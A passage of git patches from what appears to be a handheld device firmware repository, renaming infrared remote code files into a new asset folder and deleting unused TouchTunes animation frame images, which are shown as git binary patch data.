b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/huth/Unknown_prof/15,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/huth/Unknown_prof/15,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/huth/Unknown_prof/15,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/huth/Unknown_prof/15,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/iPort/MP3 Player/1,222.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/MP3 Player/1,222.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/iPort/MP3 Player/1,222.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/MP3 Player/1,222.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/iPort/iPod/1,222.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/iPod/1,222.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/iPort/iPod/1,222.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/iPod/1,222.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/iPort/iPort/1,222.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/iPort/1,222.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/iPort/iPort/1,222.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/iPort/1,222.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/konig/Unknown_konig/128,99.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/konig/Unknown_konig/128,99.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/konig/Unknown_konig/128,99.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/konig/Unknown_konig/128,99.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_orion/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_orion/128,123.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/orion/Unknown_orion/128,123.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_orion/128,123.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/sun/Unknown_sun/26,9.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/sun/Unknown_sun/26,9.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/sun/Unknown_sun/26,9.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/sun/Unknown_sun/26,9.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/SAT/97,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/SAT/97,135.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/SAT/97,135.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/SAT/97,135.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/Unknown_universum/16,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/Unknown_universum/16,16.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/Unknown_universum/16,16.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/Unknown_universum/16,16.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/VCR/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/VCR/128,123.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/VCR/128,123.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/VCR/128,123.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir From ee99ea9a9d3965b200effd150717f4eb76172749 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 28 May 2022 00:25:40 +0300 Subject: [PATCH 243/461] remove unused assets --- .../TouchTunes_14/frame_00_delay-0.04s.png | Bin 470 -> 0 bytes .../TouchTunes_14/frame_01_delay-0.04s.png | Bin 411 -> 0 bytes .../TouchTunes_14/frame_02_delay-0.04s.png | Bin 411 -> 0 bytes .../TouchTunes_14/frame_03_delay-0.04s.png | Bin 411 -> 0 bytes .../TouchTunes_14/frame_04_delay-0.04s.png | Bin 401 -> 0 bytes .../TouchTunes_14/frame_05_delay-0.04s.png | Bin 397 -> 0 bytes .../TouchTunes_14/frame_06_delay-0.04s.png | Bin 400 -> 0 bytes .../TouchTunes_14/frame_07_delay-0.04s.png | Bin 404 -> 0 bytes .../TouchTunes_14/frame_08_delay-0.04s.png | Bin 414 -> 0 bytes .../TouchTunes_14/frame_09_delay-0.04s.png | Bin 427 -> 0 bytes .../TouchTunes_14/frame_10_delay-0.04s.png | Bin 427 -> 0 bytes .../TouchTunes_14/frame_11_delay-0.04s.png | Bin 426 -> 0 bytes .../TouchTunes_14/frame_12_delay-0.04s.png | Bin 431 -> 0 bytes .../TouchTunes_14/frame_13_delay-0.04s.png | Bin 424 -> 0 bytes .../TouchTunes_14/frame_14_delay-0.04s.png | Bin 424 -> 0 bytes .../TouchTunes_14/frame_15_delay-0.04s.png | Bin 424 -> 0 bytes .../TouchTunes_14/frame_16_delay-0.04s.png | Bin 424 -> 0 bytes .../TouchTunes_14/frame_17_delay-0.04s.png | Bin 426 -> 0 bytes .../TouchTunes_14/frame_18_delay-0.04s.png | Bin 418 -> 0 bytes .../TouchTunes_14/frame_19_delay-0.04s.png | Bin 419 -> 0 bytes .../TouchTunes_14/frame_20_delay-0.04s.png | Bin 425 -> 0 bytes .../TouchTunes_14/frame_21_delay-0.04s.png | Bin 415 -> 0 bytes .../TouchTunes_14/frame_22_delay-0.04s.png | Bin 405 -> 0 bytes .../TouchTunes_14/frame_23_delay-0.04s.png | Bin 394 -> 0 bytes .../TouchTunes_14/frame_24_delay-0.04s.png | Bin 401 -> 0 bytes .../TouchTunes_14/frame_25_delay-0.04s.png | Bin 401 -> 0 bytes .../TouchTunes_14/frame_26_delay-0.04s.png | Bin 404 -> 0 bytes .../TouchTunes_14/frame_27_delay-0.04s.png | Bin 410 -> 0 bytes .../TouchTunes_14/frame_28_delay-0.04s.png | Bin 411 -> 0 bytes .../TouchTunes_14/frame_29_delay-0.04s.png | Bin 411 -> 0 bytes .../icons/MainMenu/TouchTunes_14/frame_rate | 1 - assets/resources/Manifest | 6069 +---------------- 32 files changed, 1 insertion(+), 6069 deletions(-) delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_00_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_01_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_02_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_03_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_04_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_05_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_06_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_07_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_08_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_09_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_10_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_11_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_12_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_13_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_14_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_15_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_16_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_17_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_18_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_19_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_20_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_21_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_22_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_23_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_24_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_25_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_26_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_27_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_28_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_29_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_rate diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_00_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_00_delay-0.04s.png deleted file mode 100644 index d6c97146d818a4eb321bfdc31bb1e4823502294c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 470 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX>w~ag8WR&d<$F z%`0JW_jFSzN-fT;N=;G7&r`@KDJdwn($`O|O3zHw11i#oNIocd1q>1fRgl({#FA92 zCk1w@};-9yoko1c=IR*74K_qw1Ypaup{ LS3j3^P614Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_02_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_02_delay-0.04s.png deleted file mode 100644 index 479fbd58b591c8277f06ec1225ee29ee095c8564..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_03_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_03_delay-0.04s.png deleted file mode 100644 index 1ece97a6f2ea99c186f3abaf446df51e4131a8ed..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y*we)^gyXvDxs6^ zX1}o7BUm1N#M;7y%TXZdv!qIUvy78f{Net`#(VSiE#6u$DLTO$_B-0-X?9wz`5}MZ z;y*?G?|Frm&7SrxcUI*ZId-0TtCW?d-R|hKdAa7?@fa8(W#0Y8x0>0nz7I_fRzC=BH$)RpQp*y)GyTsDZ)L L)z4*}Q$iB}Q}~Lk diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_04_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_04_delay-0.04s.png deleted file mode 100644 index d85fa6ebca3cf45527524850e696081f1aadb738..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>N`%O z`W>G#!(83(tc_vbs!5w}xfq3Ityp_PqK$8tfy&~l_yb8%ORsc080_lbw%+>5?ej+} z_WW7lyr*9M`Gn^WZ5-dbl`}kUs(<6Cx9{TC?`A+ps+PD$l%ynG diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_05_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_05_delay-0.04s.png deleted file mode 100644 index 1f5ff11cbc23d74343a5b6a6ad1dc61b9d44f0e3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 397 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)zif>gyXtyzadw%0|SdY@A86qt*!O}0-w0Fop=2)T@w7q znTu0nlACX0X{Je1*Y2VjvC~TV9&BcgW17?8uG*Mi$S9s+F3D1qy*6}vaYx-g1GDTj z#b;`pU$k33S(sn2*1KU-+(FibVhygG!g^Y~yR>q)ce_hGKF7!F_y5`Pgo(*Ji)}YN z4Dk;%c_~tGhPD5$cZ0o+pMK_3ZMH(716500BT7;dOH!?pi&B9UgOP!ek*w=Pi8W=oX{an^LB{Ts5*Ts1t diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_06_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_06_delay-0.04s.png deleted file mode 100644 index 8fbf8625c14e9522cbcf2bbaf5a9c59a43c2ae08..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 400 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H!_&nvgyXtyzdm=f1B3hgjr%1Lpc_?7Tq814Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$J50zgyXvH`TeUM3mF_f_UqqW{Z8psp3jt|FX|ia>_0qz z#r6rVGw&x=Xm+}uI`Q^Yzj=(Lf4aroQ_|DbSLt5aFhhNZ-!Yb)PZnK|YCdm#Tliiz z=l_&#JG)PGw}~w&oahjAWaR>DTe$}XbIMq)ZpyxkT+Z`% zS7Lrh(npK`C)RECFP|`9syEoq;puLLqxM!Udb;y1?RtRjR4s9hC`m~yNwrEYN(E93 zMg~Skx(24Yh9)5frdGzrR;H%f1_o9@^!e326b-rgDVb@NxHWjM3rYfNVDNPHb6Mw< G&;$TK5sjVz diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_08_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_08_delay-0.04s.png deleted file mode 100644 index f3724bbde1a247fc66caf5a56bf8b2facbd30303..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 414 